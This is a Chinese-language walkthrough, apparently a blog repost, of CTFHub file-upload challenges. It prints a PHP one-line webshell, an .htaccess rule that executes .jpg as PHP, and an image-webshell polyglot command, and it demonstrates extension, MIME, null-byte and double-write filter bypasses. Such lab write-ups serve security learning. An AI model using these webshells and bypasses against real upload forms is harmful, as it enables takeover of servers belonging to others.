IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfhub技能树 文件上传 -> 正文阅读

[PHP知识库]ctfhub技能树 文件上传

目录

1无验证

2前端验证

?3. .htaccess

4.MIME绕过

5.文件头检测

6.00截断

7.双写绕过


要做文件上传的题目首先要了解文件上传的危害

通过文件上传我们可以通过上传木马来获取服务器的webshell权限,从而接管网站的服务器

接着我们需要了解一下一句话木马

eg:<?php @eval($_POST['boom']);?>

其中eval就是执行命令的函数,$_POST[‘boom’]就是接收的数据。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。

一句话木马+webshell客户端就会有更强大的功能。如:中国菜刀,中国蚁剑,冰蝎

1无验证

首先进入题目

这道题如题所示是无任何限制的,那么我们直接上传一句话木马

已经上传成功了,我们把相对路径组合一下成为绝对路径

?http://challenge-d2ce6b4eeac11565.sandbox.ctfhub.com:10800/upload/one.php

一句话木马我们已经上传了,而且木马的绝对路径也清楚了,那么我们打开中国蚁剑

将URL地址粘贴进去,链接密码就写自己在一句话木马当中写的密码,我这里密码为boom

?成功连接到上传进去的一句话木马了,在html当中我们可以发现一个flag 的文件

打开就找到了这个题目的flag

2前端验证

进入题目

这道题是前端验证,那么我们先上传一个正常的jpg文件找到它的相对路径

?接下来我们试着上传一句话木马

因为这道题目是在前端对网页源代码做了限制,所以我们把一句话木马改为jpg格式的文件

上传时我们进行抓包

我们可以看到请求当中就有我们要上传的one.jpg,我们在这里将jpg改为php,然后发送

?网页提示上传成功

虽然显示的还是jpg的文件,但其实我们已经改好了

打开蚁剑添加数据

?已经成功连接

接着在文件html当中找到flag就完成了

?3. .htaccess

首先我们进入题目

我们知道题目的意思就是让我们使用.htaccess

那么我们先创建一个.htaccess,因为windows不能创建没有文件名只有拓展名的文件所以我们先随便起一个名字

AddType application/x-httpd-php .jpg

?意思是将jpg为拓展名的文件,作为php来解析

接着我们将它上传,上传时进行抓包

把filename="11.htaccess" 改为 .htaccess

接下来放包,上传成功。

接下来将一句话木马改为jpg的拓展名,这样它就会被作为php的文件来进行解析

?上传成功我们进入蚁剑,添加数据

?连接成功,添加数据,找到flag

?任务完成

4.MIME绕过

首先我们先了解一下什么是MIME

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式

也就是说在上传文件时,浏览器会告诉服务器这个要上传的文件是什么类型的

那么我们进入题目

首先我们,上传一个Jpg格式的文件,上传时进行抓包

?可以 看到Content-Type: image/jpeg,而且我们上传的时候可以看到是可以成功上传的

那么我们将Content-Type: image/jpeg复制下来

接着去上传一句话木马,我们把原来的Content-Type:改为Content-Type: image/jpeg

?上传成功

?去蚁剑添加数据查找flag

任务完成

附:

常见的MIME类型

????? 1)超文本标记语言.html文件的MIME类型为:text/html

????? 2)普通文本.txt文件的MIME类型为:text/plain

????? 3)PDF文档.pdf的MIME类型为:application/pdf

????? 4)MicrosoftWord文件.word的MIME类型为:application/msword

????? 5)PNG图像.png的MIME类型为:image/png

????? 6)GIF图像.gif的MIME类型为:image/gif

????? 7)MPEG文件.mpg、.mpeg的MIME类型为:video/mpeg

????? 8)AVI文件.avi的MIME类型为:video/x-msvideo

5.文件头检测

文件头检测说明还会检测文件的文件头来查看文件是否合规

首先我们进入题目,先上传一张图片试试是否能正常上传,我自己试了好多次jpg格式的图片都无法正常上传可能是文件头没法正常读取?最后换了一张png图片可以上传。

?上传一个php文件并不可以

?我们在cmd当中制作一张图片马

copy 1.jpg/b + 1.php/a 2.jpg 

用这个代码来制作自己的图片马,接着打开bp准备开始上传图片马

??在这里我们也需要将MIME改好,图片头文件是png就将它改为 image/png

图片代码内容太多了我们删去一些

已经上传成功了接着进入蚁剑

?找到flag

6.00截断

进入题目

?首先上传一个正常的png文件

?上传成功后并没有像以前一样显示文件的相对路径,果然和之前的题目不太一样

那么根据00截断我们给一句话木马加上

%00.png

那么一句话木马的名字会是 文件名.php%00.png

接着我们上传文件

发现文件直接上传成功了

但是我们去蚁剑按照原来的前几题的URL连接发现是连不上的,那么我们抓包看看

查看里面的代码

<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
-->

通过查资料了解到

?$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis")

move_uploaded_file($_FILES['file']['tmp_name'], $des

这里会对我们上传的文件修改文件名并修改地址,在$_GET[‘road’]后面进行00截断

在请求当中POST /?road=/var/www/html/upload/ HTTP/1.1

我们将自己上传的木马名输入后再截断

POST /?road=/var/www/html/upload/2.php%00 HTTP/1.1

上传成功,去蚁剑添加数据记得url是要输入之前的上传目录也就是 upload/2.php

?得到flag

7.双写绕过

首先进入题目我们上传一个PHP文件

?发现其实是可以上传成功的,只是会对php进行一个屏蔽

那么我们写两遍php

?接着上传

?也是一样的会都进行屏蔽,那么我们把PHP夹在php当中 比如.pphphp

当拓展名的php被屏蔽后就会形成另一个php,接着上传

?一句话木马上传成功,连接蚁剑找到flag。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-25 07:55:27  更:2021-11-25 07:55:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 21:18:37-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计